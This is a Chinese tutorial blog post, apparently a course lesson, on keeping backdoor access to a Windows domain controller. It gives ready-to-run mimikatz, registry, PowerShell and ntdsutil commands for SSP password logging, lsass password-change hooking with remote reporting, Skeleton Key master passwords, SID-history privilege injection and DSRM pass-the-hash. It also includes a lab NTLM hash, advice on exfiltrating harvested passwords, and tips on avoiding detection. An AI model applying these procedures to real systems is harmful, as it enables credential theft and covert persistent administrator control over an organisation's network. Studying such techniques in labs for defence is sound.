内网安全第一百四十一天

内网安全-权限维持&域控后门&SSP&HOOK&DSRM&SID&万能钥匙

目录

内网安全-权限维持&域控后门&SSP&HOOK&DSRM&SID&万能钥匙

知识点:

权限维持知识点:

内网域-权限维持-基于验证DLL加载-SSP

方法一:但如果域控制器重启,被注入内存的伪造的SSP将会丢失。

方法二:使用此方法即使系统重启,也不会影响到持久化的效果。

内网域-权限维持-基于验证DLL加载-HOOK

内网域-权限维持-基于登录进程劫持-Skeleton Key

内网域-权限维持-基于用户属性修改-SID history

内网域-权限维持-基于机制账号启用-DSRM


知识点:

1、权限维持-Windows-内网域环境

2、SSP&HOOK&SID&DSRM&Skeleton

权限维持知识点:

系统:Win&Linux

层面:单机版&域环境&WEB

内网域-权限维持-基于验证DLL加载-SSP

方法一:但如果域控制器重启,被注入内存的伪造的SSP将会丢失。

privilege::debug

misc::memssp

C:\Windows\System32\mimilsa.log 记录登录的账号密码

方法二:使用此方法即使系统重启,也不会影响到持久化的效果。

1、mimilib.dll 传到目标域控的c:\windows\system32\目录下

2、修改注册表,重启生效

reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"

reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ

c:\windows\system32\kiwissp.log 记录账号密码文件

技术总结:

攻防实战中,靶机很难会重启,攻击者重启的话风险过大,

因此可以在靶机上把两个方法相互结合起来使用效果比较好,

尝试利用把生成的日志密码文件发送到内网被控机器或者临时邮箱。

演示之前可以先看一下这两种方法的讲解,

参考链接:https://www.cnblogs.com/lcxblogs/p/14216525.html

这里我们先演示第一种方法,就是直接用mimikatz敲两条命令即可

第一条命令就是请求调试权限,第二条命令就是把SSP注入到内存中,也就是获取登录密码的命令。如果此时注销账号登录就会把登录的账号密码写到日志文件C:\Windows\system32\mimilsa.log中

这里可以看到我注销账号重新登录之后就会把账号密码写到这里来,但是这个方法在服务器重启或者关机之后就会失效

这里第二种方法如果想要生效就需要先重新启动,也就是说他两个方法生效方式相反,所以实战中我们可以一起用,没有重启就第一种方式有效,重启了就第二种方式有效

这个第二个方法就是把mimilib这个dll文件放到注册表下面即可,这个dll文件就是用来获取账号密码的

我们需要先把这个dll文件放到system32目录下,相当于弄个环境变量。

第一条命令就是看这个注册表下面都有什么东西,可以看到这里用cmd窗口看到的和它注册表里面的内容是一样的

执行完第二条命令即可完成文件在注册表的添加,这里“\0”是换行的意思

此时我们重新启动就会发现该方法已经生效,并且第一种方法失效

但是如果说我们的权限丢失了的话就不能看这个文件了,毕竟是在system32目录下,所以我们这里有两个解决办法,一个是把这个文件发送到内网其他地方,我们可以一直访问到的地方,发送到外网的话不太行。第二种就是我们接下来要讲的HOOK

内网域-权限维持-基于验证DLL加载-HOOK

这个项目可以记录受控主机修改的密码,也就是说如果我们已经取得了域控的权限,然后弄这个HOOK项目,当对方修改密码的时候就会把修改的密码放到下图的password这个文本文档中,然后这个项目是有两个版本的,一个是本地版,一个是远程版。本地版的话其实就跟上面的讲的SSP差不多,这个远程版就是本地版的升级

远程版就比本地版多了发送的功能,就是说会把对方修改的账号密码记录到文本文档之后,然后发送到一个ip的一个端口下面,这里我们要注意,因为当前环境是内网,我们要填一个能够访问的地址及端口。然后目标主机监听该端口即可。

然后生成的时候除了选择release模式和64位,也要保证下图这个地方不要选错,下图这个界面可以右键文件夹,然后点击属性,然后点高级即可来到

然后我们就会得到一个dll文件,这个时候就要配合一个powershell脚本来使用即可

这里标注一下避免弄混,1代表的就是远程版,2代表的就是powershell脚本,3代表的就是本地版

这个时候我们直接来到目标机器,把dll文件和这个ps脚本放上去,然后执行命令即可

Import-Module .\HookPasswordChangeNotify.ps1

这里因为ps脚本最后一句已经加上了执行dll文件的命令,所以我们就不要再执行第二条命令了,如果没有最后一条的话就需要再执行一条命令即可

Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass

内网域-权限维持-基于登录进程劫持-Skeleton Key

1、测试域内某个用户与DC通讯

dir \\owa2010cn-god\c$

2、连接DC后,DC注入lsass进程

net use \\192.168.3.21\ipc$ "Admin12345" /user:god\administrator

mimikatz:

privilege::debug

misc::skeleton

3、重新测试域内某个用户与DC通讯

net use \\owa2010cn-god\ipc$ "mimikatz" /user:god\administrator

dir \\owa2010cn-god\c$

技术总结:

因为Skeleton Key技术是被注入到lsass.exe进程的,

所以它只存在内存中,如域控重启,万能密码将失效。

这个就是基于登录进程劫持来做权限维持,当我们利用mimikatz执行下面两条命令,第一条就是提权获得调试权限,第二条就是把密码mimikatz写入进去,然后就会多一个mimikatz的密码,当我们使用administrator去登录域控的时候,会发现mimikatz也可以登录了。

privilege::debug

misc::skeleton

mimikatz的命令是在域控里面敲的,下面这个命令是在其他主机敲的,也就是说把万能密码注入到内存之后,域内其他成员主机就可以用这个万能密码连接域控。

但是这个方法在重启域控之后就会失效

内网域-权限维持-基于用户属性修改-SID history

1、获取某用户SID属性:

Import-Module ActiveDirectory

Get-ADUser webadmin -Properties sidhistory

2、给予某用户administrator属性:

privilege::debug

sid::patch

sid::add /sam:webadmin /new:administrator

3、测评给与前后的DC访问权限:

dir \\192.168.3.21\c$

技术总结:

把域控管理员的SID加入到 其他某个 恶意的域账户的SID History中,然后,这个恶意的(我们自己创建的)域账户就可以域管理员权限访问域控了,不修改域账户一直存在。

首先我们看一下域控账户的里面各个用户的SID,这个就是每个账户的标识,可以看到管理员的是500,mary这个普通用户就是1124,就是一千开外了,因为这里是windows,我们都知道windows就是管理员是从500开始,普通用户就是1000开始。而linux的root则是0

这里我们看一下mary账户的详细信息,这里可以看到SIDhistory是没有东西的

当我们执行完命令之后

这里就会发现SIDhistory多了管理员的SID

此时我们就可以直接用mary登录域控并且不需要账号密码

这个就是详细的解释,这个方法比较隐蔽不容易被发现,这里可能有人会说另一个方法就是把管理员组里面加入mary,但是这个动静太大了容易被发现,就算我们看所有账户的SID,mary还是会显示他自己的SID,除非管理者看这个mary账户的详细信息,不然发现不了。

内网域-权限维持-基于机制账号启用-DSRM

1.获取dsrm及krbtgt的NTLM hash

privilege::debug

lsadump::lsa /patch /name:krbtgt

token::elevate

lsadump::sam

2.dsrm&krbtgt&NTLM hash同步

NTDSUTIL:打开ntdsutil

set DSRM password:修改DSRM的密码

sync from domain account 域用户名字:使DSRM的密码和指定域用户的密码同步

q(第1次):退出DSRM密码设置模式

q(第2次):退出ntdsutil

3.修改dsrm登录方式

New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD

这里的2代表可以远程登录,因为默认是1,1就是只能本地登录,还有个0是不能登录

4.利用PTH传递攻击

privilege::debug

sekurlsa::pth /domain:owa2010cn-god /user:administrator /ntlm:b097d7ed97495408e1537f706c357fc5

dir \\owa2010cn-god\c$

技术总结:

利用系统自带机制模式DSRM,修改DSRM默认登录方式和属性,通过其同步krbtgt进行PTH攻击,实现持续化控制,但适用于系统=>windows server2008。每个域控制器都有本地管理员账号和密码(与域管理员账号和密码不同)。DSRM账号可以作为一个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。

首先说一下,krbtgt这个账户是kerberos协议里面的一个特殊账户把属于是,kerberos协议就是生成票据的,

DSRM则是一个恢复密码,当域环境受到损坏的时候就可以用这个DSRM来恢复,

思路就是利用工具ntdsutil,让DSRM和krbtgt的密码同步,也就是说DSRM和它的密码一样,那么这里获取的krbtgt的hash就是DSRM了,那我们就可以利用这个hash来用pth连接域控,但如果说用mimikatz通过pth连接域控的话需要高权限。所以这里我们可以用之前讲PTH的时候用的wmi、ipc、smb去通过pth连接域控,这个不需要高权限的。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

xiaopeisec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值